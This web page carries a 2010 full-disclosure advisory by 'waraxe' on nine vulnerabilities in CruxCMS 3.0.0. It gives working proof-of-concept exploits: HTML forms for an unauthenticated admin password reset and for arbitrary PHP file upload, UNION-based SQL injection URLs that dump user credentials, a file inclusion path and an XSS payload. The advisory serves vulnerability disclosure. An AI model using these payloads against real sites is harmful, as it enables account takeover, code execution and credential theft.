Waraxe IT Security Portal
Login or Register
February 23, 2025
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 97
Members: 0
Total: 97
Full disclosure
MitM attack against OpenSSH's VerifyHostKeyDNS-enabled client
Self Stored XSS - acp2sev7.2.2
Python's official documentation contains textbook example of insecure code (XSS)
Re: Netgear Router Administrative Web Interface Lacks Transport Encryption By Default
Monero 18.3.4 zero-day DoS vulnerability has been droppedpublicly on social network.
Netgear Router Administrative Web Interface Lacks Transport Encryption By Default
[CVE-2024-54756] GZDoom <= 4.13.1 Arbitrary Code Execution viaMalicious ZScript
Re: Text injection on https://www.google.com/so rry/index via ?q parameter (no XSS)
SEC Consult SA-20250211-0 :: Multiple vulnerabilities in Wattsense Bridge
APPLE-SA-02-10-2025-2 iPadOS 17.7.5
APPLE-SA-02-10-2025-1 iOS 18.3.1 and iPadOS 18.3.1
CVE-2024-55447: Access Control in Paxton Net2 software (update)
ChatGPT AI finds "security concern" (XSS) in DeepSeek's code
KL-001-2025-002: Checkmk NagVis Remote Code Execution
KL-001-2025-001: Checkmk NagVis Reflected Cross-site Scripting
[waraxe-2010-SA#078] - Multiple Vulnerabilities in CruxCMS 3.0.0





Author: Janek Vind "waraxe"
Date: 27. December 2010
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-78.html


Affected Software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CruxCMS is a lightweight, easy to use website content management system (CMS).
It is written in PHP and uses the powerful MySQL database.

http://www.cruxsoftware.co.uk/cruxcms.php


Affected versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Tests were conducted against CruxCMS version 3.0.0

###############################################################################
1. Unauthorized password reset in "manager/passwordreset.php"
###############################################################################

Reason: directly accessible php script
Attack vectors: user submitted POST parameters "ID" and "Password"
Preconditions: none
Impact: attacker can take over CruxCMS admin account

Php script "manager/passwordreset.php" is directly accessible via web
without any authorization. Source code snippet:

-----------------[ source code start ]---------------------------------
include ("../includes/injectionprevention.php");

$ID = numericquery($_POST["ID"]) ;

if (isset($ID)) {

$Password = preventinjection($_POST["Password"]);
$Password2 = md5($Password);

//Connect to database
include ("../includes/dbinfo.php");

// Insert data
$sqlquery = "UPDATE " . usersdb . " SET "
."Password ='" .$Password2 ."' WHERE ID ='" .$ID ."'";

$results = mysql_query($sqlquery);
-----------------[ source code end ]-----------------------------------

Example exploit:
-------------------------------------------------------------------------------
<html>
<head><title>CruxCMS 3.0.0 Unauthorized Password Reset PoC by waraxe</title></head>
<body><center>
<form action="http://localhost/cruxcms.3.0.0/manager/passwordreset.php" method="post">
<input type="hidden" name="ID" value="1">
<input type="hidden" name="Password" value="waraxe">
<input type="submit" value="Test!">
</form>
</center></body></html>
-------------------------------------------------------------------------------


###############################################################################
2. Arbitrary file upload in "manager/processeditor.php"
###############################################################################

Reason: directly accessible php script
Attack vector: specially crafted POST request
Preconditions: none
Impact: attacker is able to write remote php files to any location.

Php script "manager/processeditor.php" is directly accessible via web
without any authorization. Source code snippet:

-----------------[ source code start ]---------------------------------
$Name = preventinjection($_POST["name"]) ;
if (isset($_POST['Type'])) {
$Type = $_POST['Type'];
}

...

$head = $_POST["head"] ;
$headlink = $Name . ".php";

if ($Type == "Add") {

...

$fileopen = fopen($headlink, 'w') or die("can't open file");
fwrite($fileopen, $head);
fclose($fileopen);
-----------------[ source code end ]-----------------------------------

Example exploit:
-------------------------------------------------------------------------------
<html>
<head><title>CruxCMS 3.0.0 processeditor.php File Upload PoC by waraxe</title></head>
<body><center>
<form action="http://localhost/cruxcms.3.0.0/manager/processeditor.php" method="post">
<input type="hidden" name="Type" value="Add">
<input type="hidden" name="name" value="../images/info">
<input type="hidden" name="head" value="<?phpinfo();?>">
<input type="submit" value="Test!">
</form>
</center></body></html>
-------------------------------------------------------------------------------
For testing first make sure, that "images" directory is writable by php.
Open html file above and click "Test!" button. After successful POST request
newly written remote file can be accessed like this:

http://localhost/cruxcms.3.0.0/images/info.php


###############################################################################
3. Arbitrary file upload in "manager/processfile.php"
###############################################################################

Reason: directly accessible php script
Attack vector: specially crafted POST request
Preconditions: none

Example exploit:
-------------------------------------------------------------------------------
<html>
<head><title>CruxCMS 3.0.0 processfile.php File Upload PoC by waraxe</title></head>
<body><center>
<form action="http://localhost/cruxcms.3.0.0/manager/processfile.php"
enctype="multipart/form-data" method="post"method="post">
<input type="hidden" name="Action" value="Add">
<input type="file" name="uploadedfile" size="40">
<input type="submit" value="Test!">
</form>
</center></body></html>
-------------------------------------------------------------------------------
For testing first make sure, that "Uploads/Misc/" directory is writable by php.
Open html file above and click "Test!" button. After successful POST request
newly written remote file can be accessed like this:

http://localhost/cruxcms.3.0.0/Uploads/Misc/info-38656.php

As seen above, random string ("38656" in this specific example) is concatenated
to the filename. For successful exploitation therefore two options exists:

a) if webserver directory listing is enabled, then filename can be easily found
b) bruteforce is possible -> ~100 000 tries needed max for filename guessing


###############################################################################
4. SQL Injection in "includes/classes/searchbox.inc.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameter "max"
Preconditions:
1. Search Box must be activated (active by default)
2. Search must return at least one result
Impact: attacker can fetch sensitive information from database,
including user credentials.

Source code snippet from "includes/classes/searchbox.inc.php":
-----------------[ source code start ]---------------------------------
// Define the number of results per page
$max = $_GET['max'];
if (isset($max)) {
$max_results = $max;
}
else {
$max_results = 10;
}
...
$query_fields = "p.Title p.Content";
$query = "SELECT p.Name as PName, p.Title as PTitle, p.Content as PContent, p.Archive FROM " . pagesdb . " p WHERE ";
$query = $query . boolstring2sql_query($query_fields, $query_text);
$query = $query . " AND p.Archive = 'No'";
$query = $query . " LIMIT $from, $max_results";
$query = $query . ";";
...
$sql_result = mysql_query($query , $conn) or die ("Couldn't execute query.");
-----------------[ source code end ]-----------------------------------
As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query.

Example exploit:

http://localhost/cruxcms.3.0.0/search.php?search=_&max=1+UNION+ALL+SELECT+1,
CONCAT_WS(0x3a,Id,Name,Password,Email,Admin),1,1+FROM+cruxcms_users

As result we can see sensitive user data from database.


###############################################################################
5. SQL Injection in "includes/classes/links.inc.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameter "max"
Preconditions:
1. Link Pages must be activated (inactive by default)
2. At least one link must exist
Impact: attacker can fetch sensitive information from database,
including user credentials.

Source code snippet from "includes/classes/links.inc.php":
-----------------[ source code start ]---------------------------------
// Define the number of results per page
$max = $_GET['max'];
if (isset($max)) {
$max_results = $max;
}
else {
$max_results = 10;
}
...
$sql = "SELECT * FROM " . linksdb . " LIMIT $from, $max_results ";
$sql_result = mysql_query($sql , $conn) or die ("Couldn't execute query.");
-----------------[ source code end ]-----------------------------------
As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query.

Example exploit:

http://localhost/cruxcms.3.0.0/links.php?max=1+UNION+ALL+SELECT+1,1,
CONCAT_WS(0x3a,Id,Name,Password,Email,Admin),1,0x596573+FROM+cruxcms_users

As result we can see sensitive user data from database.


###############################################################################
6. SQL Injection in "includes/classes/news.inc.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameter "max"
Preconditions:
1. News Pages must be activated (inactive by default)
2. At least one news must exist
3. MySQL FILE Privileges needed (rare in real-world attack scenarios)
4. Php setting magic_quotes_gpc=off needed (usually it's "On")
5. attacker must have News editing privileges
6. full path must be know to the directory, which is writable by MySQL UID/user
Impact: limited SQL Injection - if all conditions above are met, then it may be
possible writing files to the remote system, where MySQL daemon/service is installed

Source code snippet from "includes/classes/news.inc.php":
-----------------[ source code start ]---------------------------------
// Define the number of results per page
$max = $_GET['max'];
if (isset($max)) {
$max_results = $max;
}
else {
$max_results = 10;
}
...
$sql = "SELECT * FROM " . newsdb . " ORDER BY Date DESC LIMIT $from, $max_results ";
$sql_result = mysql_query($sql , $conn) or die ("Couldn't execute query.");
-----------------[ source code end ]-----------------------------------
As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query.
This vulnerability differs from previous cases, because there is "ORDER BY"
before "LIMIT" in vulnerable SQL query. It renders common "UNION" attack method
useless and only exploitation possibility seems to be "INTO OUTFILE". Many
conditions are needed for such exploitation (see above), so specifix SQL
Injection case can be considered as minor one.


###############################################################################
7. Local File Inclusion in "includes/template.php"
###############################################################################

Reason: directly accessible php script
Attack vector: user submitted GET parameter "style"
Preconditions:
1. Php setting "register_globals=on" needed

Example exploit:

http://localhost/cruxcms.3.0.0/includes/template.php?style=../white.gif


###############################################################################
8. Reflected XSS in "manager/login.php"
###############################################################################

Reason: directly accessible php script
Attack vector: user submitted GET parameter "message"
Preconditions: none

Example exploit:

http://localhost/cruxcms.3.0.0/manager/login.php?message=<script>alert(123);</script>


###############################################################################
9. Full Path Disclosure in multiple php scripts
###############################################################################

Examples:

http://localhost/cruxcms.3.0.0/manager/switcher.php?style[]

Warning: setcookie() expects parameter 2 to be string, array given in
C:apache_wwwrootcruxcms.3.0.0managerswitcher.php on line 24


http://localhost/cruxcms.3.0.0/search.php?search[]

Warning: htmlspecialchars() expects parameter 1 to be string, array given in
C:apache_wwwrootcruxcms.3.0.0includesclassessearchbox.inc.php on line 40


http://localhost/cruxcms.3.0.0/manager/filetypes.php

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in
C:apache_wwwrootcruxcms.3.0.0managerfiletypes.php on line 24

http://localhost/cruxcms.3.0.0/styles/andreas01.php

Warning: include(includes/functions.php) [function.include]: failed to open stream:
No such file or directory in C:apache_wwwrootcruxcms.3.0.0stylesandreas01.php on line 36



Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, vince213333,
to all active waraxe.us forum members and to anyone else who know me!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://userguidenow.com/
---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2010-12-27 (11834 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 737
pexli  pexli - 665
Mullog  Mullog - 540
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
Cybercrime news
Corrupted Microsoft Office Documents Used In Phishing Campaign
Russia Gives Life Sentence To Hydra Dark Web Kingpin After Seizing A Ton Of Drugs
Severity Of Risk Facing The UK Is Widely Underestimated
Hackers Stole $1.49 Billion In Cryptocurrency To Date In 2024
CyberVolk Analysis Explores Ransomware, Hacktivism Connections
Cyberattacks Cost British Businesses $55 Billion In Past 5 Years
Here's What Happens If You Don't Layer Network Security Or Remove Unused Web Shells
Russian Women Stepping Up For Cybercrime Outfits
Five Scattered Spider Suspects Indicted For Phishing And Heists
Crooks Snag $250k Wire Payment From AI Biz
Ransomware Attack On Oklahoma Medical Center Impacts 133,000
New GoIssue Tool Targets GitHub Devs And Corporate Supply Chains
Dark Web Crypto Laundering Kingpin Sentenced To 12.5 Years In Prison
FBI Warns US Organizations Of Fake Emergency Data Requests
Hackers Are Stealing Tickets From Ticketmaster Accounts
Scattered Spider, BlackCat Claw Their Way Back From The Undergound
Cybercrooks Are Targeting Bengal Cat Lovers In Australia
Operation Synergia II Sees Interpol Swoop On Global Cyber Crims
Rhysida Ransomware Attack On Columbus Claimed 500k Victims
Malware Operators Use Copyright Infringement To Lure In Businesses
North Korean Nation State Threat Actor Using Play Ransomware
Dutch Cops Pwn The Redline And Meta Infostealers, Leak VIP Aliases
Senator Accuses Sloppy Domain Registrars Of Aiding Russian Disinfo Campaigns
100 Million Impacted By Change Healthcare Attack
Detective Charged With Purchasing Stolen Credentials
Hacker news
Hackers Stole $1.49 Billion In Cryptocurrency To Date In 2024
Russian Hacker With $10 Million Bounty On His Head Reportedly Arrested
New York Fines GEICO And Travelers $11.3 Million In Data Breach Cases
Feds Seek To Grill Kansas City Man With Hacking Charges
ProjectSend Vulnerability Exploited In The Wild
CyberVolk Analysis Explores Ransomware, Hacktivism Connections
Russian Cyberspies Hacked Building Across Street From Target For W-Fi Attack
Five Scattered Spider Suspects Indicted For Phishing And Heists
North Korean Hackers Behind 2019 $42 Million Ethereum Heist
Equinox Notifies 21,000 Patients And Staff Of Data Theft
Palo Alto Sounds Alarm Over PAN-OS Zero Day Attacks
Thousands Of IoT Devices Turned Into Residential Proxies
Discontinued GeoVision Products Targeted In Botnet Attacks
Ransomware Attack On Oklahoma Medical Center Impacts 133,000
300 Drinking Systems In US Exposed To Disruptive, Damaging Hacker Attacks
Webscout Is Worth Checking Out
Palo Alto Networks Confirms New Firewall Zero-Day Exploitation
Known Brand, Gov Domains Hijacked Via Sitting Ducks Attacks
Man Gets 5 Years For Laundering Crypto From Bitfinex Hack
Two Men Charged For Hacking US Tax Preparation Firms
Iranian Threat Group Targets Aerospace Workers With Fake Job Lures
Citrix, Cisco, Fortinet Zero-Days Among 2023's Most Exploited Vulnerabilities
Ahold Delhaize Cybersecurity Incident Impacts Giant Food, Hannaford
Remcos RAT Now Exploiting Microsoft Excel Files
Amazon Confirms Employee Data Exposed In Leak Linked TO MOVEit Vulnerability
Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.043 Seconds